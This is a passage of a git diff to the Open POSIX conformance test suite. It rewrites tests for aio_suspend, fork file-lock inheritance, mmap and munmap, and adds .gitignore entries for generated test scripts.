  *	- check that the suspend timed out
@@ -38,37 +37,38 @@
 #define TNAME "aio_suspend/4-1.c"
 
 #define NUM_AIOCBS	10
-#define BUF_SIZE	(1024*1024)
+#define BUF_SIZE	(2 * 1024 * 1024)
 #define WAIT_FOR_AIOCB	6
+#define WAIT_FOR_AIOCB_BUF_SIZE (20 * 1024 * 1024)
 
-static int received_selected;
-static int received_all;
+static volatile int received_selected;
+static volatile int received_all;
 
-static void sigrt1_handler(int signum, siginfo_t *info, void *context)
+static void sigrt1_handler(int signum)
 {
+	(void)signum;
+
 	received_selected = 1;
 }
 
-static void sigrt2_handler(int signum, siginfo_t *info, void *context)
+static void sigrt2_handler(int signum)
 {
+	(void)signum;
+
 	received_all = 1;
 }
 
 int main(void)
 {
 	char tmpfname[256];
-	int fd;
-
-	struct aiocb **aiocbs;
+	struct aiocb aiocbs[NUM_AIOCBS];
+	struct aiocb *aiolist[NUM_AIOCBS];
 	struct aiocb *plist[2];
-	char *bufs;
 	struct sigaction action;
 	struct sigevent event;
-	struct timespec ts = { 0, 1000 };	/* 1 us */
+	struct timespec ts = {0, 10};
 	int errors = 0;
-	int ret;
-	int err;
-	int i;
+	int ret, err, i, rval, fd;
 
 	if (sysconf(_SC_ASYNCHRONOUS_IO) < 200112L)
 		return PTS_UNSUPPORTED;
@@ -77,7 +77,7 @@
 		 getpid());
 	unlink(tmpfname);
 
-	fd = open(tmpfname, O_CREAT | O_RDWR | O_EXCL, S_IRUSR | S_IWUSR);
+	fd = open(tmpfname, O_SYNC | O_CREAT | O_RDWR | O_EXCL, S_IRUSR | S_IWUSR);
 
 	if (fd == -1) {
 		printf(TNAME " Error at open(): %s\n", strerror(errno));
@@ -86,41 +86,35 @@
 
 	unlink(tmpfname);
 
-	bufs = malloc(NUM_AIOCBS * BUF_SIZE);
-
-	if (bufs == NULL) {
-		printf(TNAME " Error at malloc(): %s\n", strerror(errno));
-		close(fd);
-		exit(PTS_UNRESOLVED);
-	}
-
-	if (write(fd, bufs, NUM_AIOCBS * BUF_SIZE) != (NUM_AIOCBS * BUF_SIZE)) {
-		printf(TNAME " Error at write(): %s\n", strerror(errno));
-		free(bufs);
-		close(fd);
-		exit(PTS_UNRESOLVED);
-	}
-
-	aiocbs = malloc(sizeof(struct aiocb *) * NUM_AIOCBS);
+	memset(aiocbs, 0, sizeof(aiocbs));
+	size_t buf_offset = 0;
 
 	/* Queue up a bunch of aio reads */
 	for (i = 0; i < NUM_AIOCBS; i++) {
+		size_t buf_size = (i == WAIT_FOR_AIOCB) ?
+		                   WAIT_FOR_AIOCB_BUF_SIZE : BUF_SIZE;
 
-		aiocbs[i] = malloc(sizeof(struct aiocb));
-		memset(aiocbs[i], 0, sizeof(struct aiocb));
+		aiocbs[i].aio_fildes = fd;
+		aiocbs[i].aio_offset = buf_offset;
+		aiocbs[i].aio_buf = malloc(buf_size);
+		aiocbs[i].aio_nbytes = buf_size;
+		aiocbs[i].aio_lio_opcode = LIO_WRITE;
 
-		aiocbs[i]->aio_fildes = fd;
-		aiocbs[i]->aio_offset = i * BUF_SIZE;
-		aiocbs[i]->aio_buf = &bufs[i * BUF_SIZE];
-		aiocbs[i]->aio_nbytes = BUF_SIZE;
-		aiocbs[i]->aio_lio_opcode = LIO_READ;
+		if (!aiocbs[i].aio_buf) {
+			perror("malloc()");
+			rval = PTS_UNRESOLVED;
+			goto exit;
+		}
 
 		/* Use SIGRTMIN+1 for individual completions */
 		if (i == WAIT_FOR_AIOCB) {
-			aiocbs[i]->aio_sigevent.sigev_notify = SIGEV_SIGNAL;
-			aiocbs[i]->aio_sigevent.sigev_signo = SIGRTMIN + 1;
-			aiocbs[i]->aio_sigevent.sigev_value.sival_int = i;
+			aiocbs[i].aio_sigevent.sigev_notify = SIGEV_SIGNAL;
+			aiocbs[i].aio_sigevent.sigev_signo = SIGRTMIN + 1;
+			aiocbs[i].aio_sigevent.sigev_value.sival_int = i;
 		}
+
+		buf_offset += buf_size;
+		aiolist[i] = &aiocbs[i];
 	}
 
 	/* Use SIGRTMIN+2 for list completion */
@@ -129,45 +123,37 @@
 	event.sigev_value.sival_ptr = NULL;
 
 	/* Setup handler for individual operation completion */
-	action.sa_sigaction = sigrt1_handler;
+	action.sa_handler = sigrt1_handler;
 	sigemptyset(&action.sa_mask);
 	action.sa_flags = SA_SIGINFO | SA_RESTART;
 	sigaction(SIGRTMIN + 1, &action, NULL);
 
 	/* Setup handler for list completion */
-	action.sa_sigaction = sigrt2_handler;
+	action.sa_handler = sigrt2_handler;
 	sigemptyset(&action.sa_mask);
 	action.sa_flags = SA_SIGINFO | SA_RESTART;
 	sigaction(SIGRTMIN + 2, &action, NULL);
 
 	/* Setup suspend list */
 	plist[0] = NULL;
-	plist[1] = aiocbs[WAIT_FOR_AIOCB];
+	plist[1] = &aiocbs[WAIT_FOR_AIOCB];
 
 	/* Submit request list */
-	ret = lio_listio(LIO_NOWAIT, aiocbs, NUM_AIOCBS, &event);
+	ret = lio_listio(LIO_NOWAIT, aiolist, NUM_AIOCBS, &event);
 
 	if (ret) {
 		printf(TNAME " Error at lio_listio() %d: %s\n",
 		       errno, strerror(errno));
-		for (i = 0; i < NUM_AIOCBS; i++)
-			free(aiocbs[i]);
-		free(bufs);
-		free(aiocbs);
-		close(fd);
-		exit(PTS_UNRESOLVED);
+		rval = PTS_UNRESOLVED;
+		goto exit;
 	}
 
 	/* Check selected request has not completed yet */
 	if (received_selected) {
 		printf(TNAME " Error : AIOCB %d already completed"
 		       " before suspend\n", WAIT_FOR_AIOCB);
-		for (i = 0; i < NUM_AIOCBS; i++)
-			free(aiocbs[i]);
-		free(bufs);
-		free(aiocbs);
-		close(fd);
-		exit(PTS_FAIL);
+		rval = PTS_FAIL;
+		goto exit;
 	}
 
 	/* Suspend on selected request */
@@ -177,63 +163,57 @@
 	if (received_selected) {
 		printf(TNAME " Error : AIOCB %d should not have completed"
 		       " after timed out suspend\n", WAIT_FOR_AIOCB);
-		for (i = 0; i < NUM_AIOCBS; i++)
-			free(aiocbs[i]);
-		free(bufs);
-		free(aiocbs);
-		close(fd);
-		exit(PTS_FAIL);
+		rval = PTS_FAIL;
+		goto exit;
 	}
 
 	/* timed out aio_suspend should return -1 and set errno to EAGAIN */
 	if (ret != -1) {
 		printf(TNAME " aio_suspend() should return -1\n");
-		for (i = 0; i < NUM_AIOCBS; i++)
-			free(aiocbs[i]);
-		free(bufs);
-		free(aiocbs);
-		close(fd);
-		exit(PTS_FAIL);
+		rval = PTS_FAIL;
+		goto exit;
 	}
 
 	if (errno != EAGAIN) {
 		printf(TNAME " aio_suspend() should set errno to EAGAIN:"
 		       " %d (%s)\n", errno, strerror(errno));
-		for (i = 0; i < NUM_AIOCBS; i++)
-			free(aiocbs[i]);
-		free(bufs);
-		free(aiocbs);
-		close(fd);
-		exit(PTS_FAIL);
+		rval = PTS_FAIL;
+		goto exit;
 	}
 
-	/* Wait for list processing completion */
-	while (!received_all)
-		sleep(1);
+	int retries = 6000;
 
-	/* Check return code and free things */
+	/* Wait for list processing completion */
+	while (!received_all && retries-- > 0)
+		usleep(50000);
+
+	if (retries <= 0) {
+		printf(TNAME " timeouted while waiting for I/O completion");
+		rval = PTS_UNRESOLVED;
+		goto exit;
+	}
+
 	for (i = 0; i < NUM_AIOCBS; i++) {
-		err = aio_error(aiocbs[i]);
-		ret = aio_return(aiocbs[i]);
+		err = aio_error(&aiocbs[i]);
+		ret = aio_return(&aiocbs[i]);
 
 		if ((err != 0) && (ret != BUF_SIZE)) {
 			printf(TNAME " req %d: error = %d - return = %d\n",
 			       i, err, ret);
 			errors++;
 		}
-
-		free(aiocbs[i]);
 	}
 
-	free(bufs);
-	free(aiocbs);
+	if (errors == 0) {
+		printf(TNAME " PASSED\n");
+		rval = PTS_PASS;
+	} else {
+		rval = PTS_FAIL;
+	}
 
+exit:
+	for (i = 0; i < NUM_AIOCBS; i++)
+		free((void*)aiocbs[i].aio_buf);
 	close(fd);
-
-	if (errors != 0)
-		exit(PTS_FAIL);
-
-	printf(TNAME " PASSED\n");
-
-	return PTS_PASS;
+	return rval;
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/clock/.gitignore
new file mode 100644
index 0000000..4a6df05
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock/.gitignore
@@ -0,0 +1 @@
+/clock_4-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/5-1.c
index aab6250..d73207e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/5-1.c
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, Garrett Cooper.
+ * Copyright (c) 2010, Ngie Cooper.
  *
  * The clock_getcpuclockid() function shall fail and return EPERM if the
  * requesting process does not have permission to access the CPU-time clock for
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/6-1.c
index ab3f397..401f560 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/6-1.c
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, Garrett Cooper.
+ * Copyright (c) 2010, Ngie Cooper.
  *
  * The clock_getcpuclockid() function may fail and return ESRCH if no process
  * can be found corresponding to the process specified by pid.
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/.gitignore
new file mode 100644
index 0000000..28d40ab
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/.gitignore
@@ -0,0 +1,2 @@
+/clock_getres_2-1.sh
+/clock_getres_4-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/.gitignore
new file mode 100644
index 0000000..43f7ffd
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/.gitignore
@@ -0,0 +1 @@
+/clock_gettime_6-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/.gitignore
new file mode 100644
index 0000000..288d394
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/.gitignore
@@ -0,0 +1,6 @@
+/clock_nanosleep_1-2.sh
+/clock_nanosleep_15-1.sh
+/clock_nanosleep_4-1.sh
+/clock_nanosleep_5-1.sh
+/clock_nanosleep_6-1.sh
+/clock_nanosleep_8-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/.gitignore
new file mode 100644
index 0000000..3979d47
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/.gitignore
@@ -0,0 +1,4 @@
+/clock_settime_15-1.sh
+/clock_settime_16-1.sh
+/clock_settime_18-1.sh
+/clock_settime_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/difftime/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/difftime/.gitignore
new file mode 100644
index 0000000..d511963
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/difftime/.gitignore
@@ -0,0 +1 @@
+/difftime_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/11-1.c b/testcases/open_posix_testsuite/conformance/interfaces/fork/11-1.c
index 250fdfe..a43bc27 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/fork/11-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/11-1.c
@@ -1,132 +1,110 @@
 /*
-* Copyright (c) 2004, Bull S.A..  All rights reserved.
-* Created by: Sebastien Decugis
-* Copyright (c) 2015 Cyril Hrubis <chrubis@suse.cz>
-*
-* This program is free software; you can redistribute it and/or modify it
-* under the terms of version 2 of the GNU General Public License as
-* published by the Free Software Foundation.
-*
-* This program is distributed in the hope that it would be useful, but
-* WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-*
-* You should have received a copy of the GNU General Public License along
-* with this program; if not, write the Free Software Foundation, Inc.,
-* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ * Copyright © 2017 SUSE LLC
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of version 2 of the GNU General Public License as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it would be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; If not, see <http://www.gnu.org/licenses/>.
+ *
+ * Tests that file locks are not inherited by the child process after a fork.
+ */
 
-* This sample test aims to check the following assertion:
-*
-* The file locks are not inherited by the child process.
-
-* The steps are:
-* -> lock stdout
-* -> fork
-* -> child creates a thread
-* -> child thread trylock stdout
-* -> join the child
-
-* The test fails if the child thread cannot lock the file
-* -- this would mean the child process got stdout file lock ownership.
-
-*/
-
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
-#include <pthread.h>
-#include <stdarg.h>
 #include <stdio.h>
 #include <stdlib.h>
-#include <string.h>
 #include <unistd.h>
-
+#include <fcntl.h>
 #include <sys/wait.h>
 #include <errno.h>
+#include <string.h>
 
 #include "posixtest.h"
 
-static void *threaded(void *arg)
+static int child(int fd)
 {
-	int ret;
-	long res;
+	struct flock fl = {
+		.l_type = F_WRLCK,
+		.l_whence = SEEK_SET,
+		.l_start = 1,
+		.l_len = 99
+	};
 
-	(void) arg;
-
-	ret = ftrylockfile(stdout);
-
-	if (ret) {
-		res = PTS_FAIL;
-		printf("FAIL: The child process inherited the lock\n");
-	} else {
-		res = PTS_PASS;
+	if (fcntl(fd, F_GETLK, &fl) == -1) {
+		printf("Could not get lock: %s (%d)\n",
+		       strerror(errno), errno);
+		return PTS_UNRESOLVED;
 	}
 
-	funlockfile(stdout);
+	if (fl.l_type == F_UNLCK) {
+		printf("Child found lock is F_UNLCK, should be F_WRLCK\n");
+		return PTS_FAIL;
+	}
 
-	return (void*)res;
+	if (fcntl(fd, F_SETLK, &fl) == -1) {
+		if (errno == EACCES || errno == EAGAIN) {
+			printf("PASSED: child did not inherit the lock\n");
+			return PTS_PASS;
+		}
+
+		printf("Unexpected fcntl error: %s (%d)\n",
+		       strerror(errno), errno);
+		return PTS_UNRESOLVED;
+	}
+
+	printf("Child locked file already locked by parent\n");
+	return PTS_FAIL;
 }
 
 int main(void)
 {
-	int ret, status;
-	pid_t child, ctl;
-	pthread_t ch;
-	long res;
+	char path_template[] = "/tmp/fork-11-1-XXXXXX";
+	int fd, child_stat, result = PTS_UNRESOLVED;
+	pid_t child_pid;
+	struct flock fl = {
+		.l_type = F_WRLCK,
+		.l_whence = SEEK_SET,
+		.l_start = 0,
+		.l_len = 100,
+	};
 
-	/* lock the stdout file */
-	flockfile(stdout);
-
-	child = fork();
-
-	if (child == -1) {
-		funlockfile(stdout);
-		perror("fork");
-		return PTS_UNRESOLVED;
+	fd = mkstemp(path_template);
+	if (fd == -1) {
+		printf("Could not open temporary file: %s (%d)\n",
+		       strerror(errno), errno);
+		return result;
 	}
 
-	if (child == 0) {
-		/* Setup timeout in case the thread hangs in the lock */
-		alarm(1);
-
-		/*
-		 * We have to try to acquire the lock from different thread
-		 * because the file locks are recursive.
-		 */
-		ret = pthread_create(&ch, NULL, threaded, NULL);
-
-		if (ret != 0) {
-			printf("pthread_create: %s\n", strerror(ret));
-			exit(PTS_UNRESOLVED);
-		}
-
-		ret = pthread_join(ch, (void*)&res);
-
-		if (ret != 0) {
-			printf("pthread_join: %s\n", strerror(ret));
-			exit(PTS_UNRESOLVED);
-		}
-
-		exit(res);
+	if (fcntl(fd, F_SETLK, &fl) == -1) {
+		printf("Could not set initial lock: %s (%d)\n",
+		       strerror(errno), errno);
+		goto cleanup;
 	}
 
-	funlockfile(stdout);
-
-	ctl = waitpid(child, &status, 0);
-
-	if (ctl != child) {
-		printf("Waitpid returned the wrong PID\n");
-		return PTS_UNRESOLVED;
+	child_pid = fork();
+	if (child_pid == -1) {
+		printf("Fork failed: %s (%d)\n", strerror(errno), errno);
+		goto cleanup;
 	}
 
-	if (!WIFEXITED(status)) {
-		printf("FAIL: Child exited abnormaly, timeout?\n");
-		return PTS_FAIL;
+	if (child_pid == 0)
+		exit(child(fd));
+
+	if (waitpid(child_pid, &child_stat, 0) == -1) {
+		printf("Wait failed: %s (%d)\n", strerror(errno), errno);
+		goto cleanup;
 	}
 
-	if (WEXITSTATUS(status) != PTS_PASS)
-		return WEXITSTATUS(status);
+	if (WIFEXITED(child_stat))
+		result = WEXITSTATUS(child_stat);
+	else
+		printf("Child terminated abnormally!\n");
 
-	printf("Test PASSED\n");
-	return PTS_PASS;
+cleanup:
+	close(fd);
+	return result;
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mlock/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/mlock/.gitignore
new file mode 100644
index 0000000..c80cefc
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mlock/.gitignore
@@ -0,0 +1,3 @@
+/mlock_2-1.sh
+/mlock_4-1.sh
+/mlock_7-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mlockall/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/mlockall/.gitignore
new file mode 100644
index 0000000..055812d
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mlockall/.gitignore
@@ -0,0 +1,3 @@
+/mlockall_2-1.sh
+/mlockall_7-1.sh
+/mlockall_9-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/mmap/.gitignore
new file mode 100644
index 0000000..8bcf176
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/.gitignore
@@ -0,0 +1,3 @@
+/mmap_16-1.sh
+/mmap_17-1.sh
+/mmap_20-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/31-1.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/31-1.c
index 4e03068..2ca1517 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/31-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/31-1.c
@@ -34,6 +34,7 @@
 #include <fcntl.h>
 #include <string.h>
 #include <errno.h>
+#include <sys/utsname.h>
 #include "posixtest.h"
 
 int main(void)
@@ -51,6 +52,18 @@
 		return PTS_UNSUPPORTED;
 	}
 
+	/* The overflow does not happen when 32bit binary runs on 64bit kernel */
+#ifdef __linux__
+	struct utsname buf;
+
+	if (!uname(&buf) && strstr(buf.machine, "64")) {
+		printf("UNSUPPORTED: Looks like we run on 64bit kernel (%s)\n",
+		       buf.machine);
+		return PTS_UNSUPPORTED;
+	}
+
+#endif /* __linux__ */
+
 	long page_size = sysconf(_SC_PAGE_SIZE);
 
 	snprintf(tmpfname, sizeof(tmpfname), "/tmp/pts_mmap_31_1_%d", getpid());
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/.gitignore
new file mode 100644
index 0000000..60d3609
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mq_getattr/.gitignore
@@ -0,0 +1,3 @@
+/mq_getattr_1-1.sh
+/mq_getattr_5-1.sh
+/mq_getattr_6-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/.gitignore
new file mode 100644
index 0000000..97beef3
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mq_notify/.gitignore
@@ -0,0 +1,2 @@
+/mq_notify_6-1.sh
+/mq_notify_7-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/.gitignore
new file mode 100644
index 0000000..23b5061
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/.gitignore
@@ -0,0 +1,2 @@
+/mq_receive_4-1.sh
+/mq_receive_9-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/.gitignore
new file mode 100644
index 0000000..f667012
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/.gitignore
@@ -0,0 +1,2 @@
+/mq_setattr_3-1.sh
+/mq_setattr_4-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/.gitignore
new file mode 100644
index 0000000..f42967f
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/.gitignore
@@ -0,0 +1,3 @@
+/mq_timedreceive_12-1.sh
+/mq_timedreceive_16-1.sh
+/mq_timedreceive_4-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/.gitignore
new file mode 100644
index 0000000..31b0772
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/.gitignore
@@ -0,0 +1,2 @@
+/mq_unlink_3-1.sh
+/mq_unlink_4-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/munlock/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/munlock/.gitignore
new file mode 100644
index 0000000..da9ead0
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/munlock/.gitignore
@@ -0,0 +1,2 @@
+/munlock_2-1.sh
+/munlock_9-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/munlockall/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/munlockall/.gitignore
new file mode 100644
index 0000000..04c5506
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/munlockall/.gitignore
@@ -0,0 +1 @@
+/munlockall_6-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/munmap/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/munmap/.gitignore
new file mode 100644
index 0000000..f3c5598
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/munmap/.gitignore
@@ -0,0 +1,2 @@
+/munmap_10-1.sh
+/munmap_7-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/munmap/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/munmap/2-1.c
index aa68543..1dfc4b2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/munmap/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/munmap/2-1.c
@@ -4,13 +4,14 @@
  * of this license, see the COPYING file at the top level of this
  * source tree.
  *
- * If there are no
- * mappings in the specified address range, then munmap() has no effect.
+ * If there are no mappings in the specified address range, then munmap() has
+ * no effect. To get a valid address range which is safe to call munmap() on
+ * we first map some arbitrary memory allowing the OS to select the address
+ * then unmap it. We then call munmap() on the same address again to perform
+ * the test.
  *
  */
 
-#define _XOPEN_SOURCE 600
-
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
@@ -28,32 +29,46 @@
 
 int main(void)
 {
-	int rc;
+	int rc, fd, map_size;
+	void *map_addr;
 
-	int page_size;
-	void *buffer = NULL, *new_addr = NULL;
-
-	page_size = sysconf(_SC_PAGE_SIZE);
-	buffer = malloc(page_size * 2);
-	if (buffer == NULL) {
-		printf("Error at malloc\n");
-		exit(PTS_UNRESOLVED);
+	map_size = sysconf(_SC_PAGESIZE);
+	fd = open("/dev/zero", O_RDWR);
+	if (fd == -1) {
+		printf("Failed to open /dev/zero: %s (%d)\n",
+		       strerror(errno),
+		       errno);
+		return PTS_UNRESOLVED;
 	}
 
-	/* Make new_addr is a multiple of page_size, while
-	 * [new_addr, new_addr + page_size] is a valid memory range
-	 */
-	new_addr = buffer + (page_size - (unsigned long)buffer % page_size);
-
-	rc = munmap(new_addr, page_size);
-	if (rc == -1) {
-		printf("Test FAILED " TNAME " Error at munmap(): %s\n",
-		       strerror(errno));
-		free(buffer);
-		exit(PTS_FAIL);
+	map_addr = mmap(NULL, map_size, PROT_NONE, MAP_PRIVATE, fd, 0);
+	if (map_addr == MAP_FAILED) {
+		printf("Failed to map memory: %s (%d)\n",
+		       strerror(errno),
+		       errno);
+		close(fd);
+		return PTS_UNRESOLVED;
 	}
 
-	free(buffer);
+	close(fd);
+
+	rc = munmap(map_addr, map_size);
+	if (rc != 0) {
+		printf("Failed to unmap memory: %s (%d)\n",
+		       strerror(errno),
+		       errno);
+		close(fd);
+		return PTS_UNRESOLVED;
+	}
+
+	rc = munmap(map_addr, map_size);
+	if (rc != 0) {
+		printf("Test FAILED " TNAME " Error at munmap(): %s (%d)\n",
+		       strerror(errno),
+		       errno);
+		return PTS_FAIL;
+	}
+
 	printf("Test PASSED\n");
 	return PTS_PASS;
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/.gitignore
new file mode 100644
index 0000000..09b1d6e
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/.gitignore
@@ -0,0 +1 @@
+/nanosleep_4-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/.gitignore
new file mode 100644
index 0000000..ca13f8f
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/.gitignore
@@ -0,0 +1 @@
+/pthread_atfork_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getdetachstate/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getdetachstate/.gitignore
new file mode 100644
index 0000000..7428995
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getdetachstate/.gitignore
@@ -0,0 +1 @@
+/pthread_attr_getdetachstate_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getinheritsched/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getinheritsched/.gitignore
new file mode 100644
index 0000000..5b2bed5
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getinheritsched/.gitignore
@@ -0,0 +1 @@
+/pthread_attr_getinheritsched_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedparam/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedparam/.gitignore
new file mode 100644
index 0000000..4416ddb
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedparam/.gitignore
@@ -0,0 +1 @@
+/pthread_attr_getschedparam_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedpolicy/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedpolicy/.gitignore
new file mode 100644
index 0000000..ccbef32
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedpolicy/.gitignore
@@ -0,0 +1,2 @@
+/pthread_attr_getschedpolicy_1-1.sh
+/pthread_attr_getschedpolicy_3-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getscope/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getscope/.gitignore
new file mode 100644
index 0000000..0349bb6
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getscope/.gitignore
@@ -0,0 +1 @@
+/pthread_attr_getscope_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstack/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstack/.gitignore
new file mode 100644
index 0000000..ceca425
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstack/.gitignore
@@ -0,0 +1 @@
+/pthread_attr_getstack_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstacksize/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstacksize/.gitignore
new file mode 100644
index 0000000..c4544c2
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstacksize/.gitignore
@@ -0,0 +1 @@
+/pthread_attr_getstacksize_2-1.sh
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/.gitignore b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/.gitignore
new file mode 100644
index 0000000..84add55
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/.gitignore
@@ -0,0 +1 @@
+/pthread_attr_setdetachstate_3-1.sh
